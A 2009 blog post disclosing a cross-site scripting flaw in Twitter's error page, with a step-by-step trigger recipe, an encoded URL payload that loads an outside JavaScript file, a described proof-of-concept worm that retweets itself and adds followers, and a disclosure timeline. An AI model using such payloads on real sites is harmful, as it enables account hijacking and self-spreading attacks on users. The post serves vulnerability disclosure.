Twitter horror museum

There's a subtle thrill to find yourself astonished when you think you've already seen 'em all.
Having worked for many years on web communities (especially in mobile environments), Twitter & social networks phenomena have no strong appeal on me; they just lack of novelty.
However I must admit that I'm fascinated from the security and privacy implications that comes with a "social" web application being used by millions of people.
In the last months, Twitter provided the security community with an amazing saga, being repeatedly plagued by almost any vulnerability known to mankind and pitilessly pointed as unable to protect its users' privacy: there has been so much hype about the "Twitter affair" that no worm, esoteric injection or other new oddity could add more spice on it.
But you should agree with me that this time Twitter has taken the cake.
I'll be short: Twitter fails to perform validation in any parameter on any URL!

Going into more detail, when you try to call a specific URL and set the path or a querystring parameter to string containing an unsupported Unicode value (for a complete list see:, Twitter raises a raw error page ranting that the given parameter is not accepted: of course no safe encoding is done on this error page...  -->  Invalid Unicode value in parameter user --> Invalid Unicode value in parameter id --> Invalid Unicode value in parameter params --> Invalid Unicode value in parameter a

The last example leads to this special voodoo recipe:
  1. take Twitter base url
  2. add any (even non-existant) path
  3. add question mark
  4. add any html string as a parameter
  5. set the value of this parameter to an unsupported unicode value

...and voilà, game is served. Disarming naivety.
Moreover, just two months ago, Twitter has been already notified about a RubyOnRails bug related to the same issue - querystring parameters validation - ( and they patched the bug. 
Evidently they missed that chance to entirely code-review their validation routines.
Ouch! Try it again, Twitter...

- And know we've got an XSS, what we can do? 
- Having fun...

The limit is the sky: retrieve victims posts, CSRFing victims to post updates, alter victims' bio, modify followers, follow new people.
The only limit (imposed by HTTP syntax) is that no "=" sign can be used in the parameter name, as it is used to outline the name=value schema in querystrings; however, using a clever trick (Roberto Suggi Liverani rulez!) you can inject a <script src=...> tag and recall any external js you wish.

Proof of concept
The video below is a PoC of what was possible doing exploiting this vulnerability on Twitter.

Twitter Worm PoC

The victim (testxss) logs in Twitter and click on a link: the link points to a TinyUrl shortcut that is remapped as follows:,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,58,47,47,104,111,115,116,102,111,114,112,111,99,46,99,111,109,47,112,111,99,95,116,119,105,116,116,101,114,46,106,115,39,62,60,47,115,99,114,105,112,116,62));%3C/script%3E=%A2

Escaping the "=" sign in the parameter we were able to link an external js file: the script just leverages on a handful of jquery statements in order to:
  • re-tweet a message containing the XSS link 
  • add the victim to the attacker (tentacoloviola) followers
This is just a PoC worm that we arranged in approx. 10 minutes.
Anyway, you can easily imagine some nastier scenarios:
  • identity stealing
  • malware distribution
  • spam
  • phishing
Just think about using this vulnerability to spread all over Twitter some malware that exploits a browser bug: it's a bot-master dream!

That's exactly what I meant with "social network security implications": even the more "innocent" flaw (and XSS is not...) when exploited in a social network environment can become the sparkle for a viral infection.

Twitter, please take better care of your users security & privacy.
Users, webapps are not a secure storage. Don't relay on them for storing sensible informations.
Disclosure timeline
  • October 27th - Issue was found
  • October 28th -Twitter was notified about this issue
  • November 3rd - After the development team analysis Twitter found that the root cause of this issue is the same reported by Mastenbrook in his advisory on RoR security mailing list 
  • November 10th - Twitter patched the error page...but what about Unicode validation routines??

Rosario Valotta, November 12nd 2009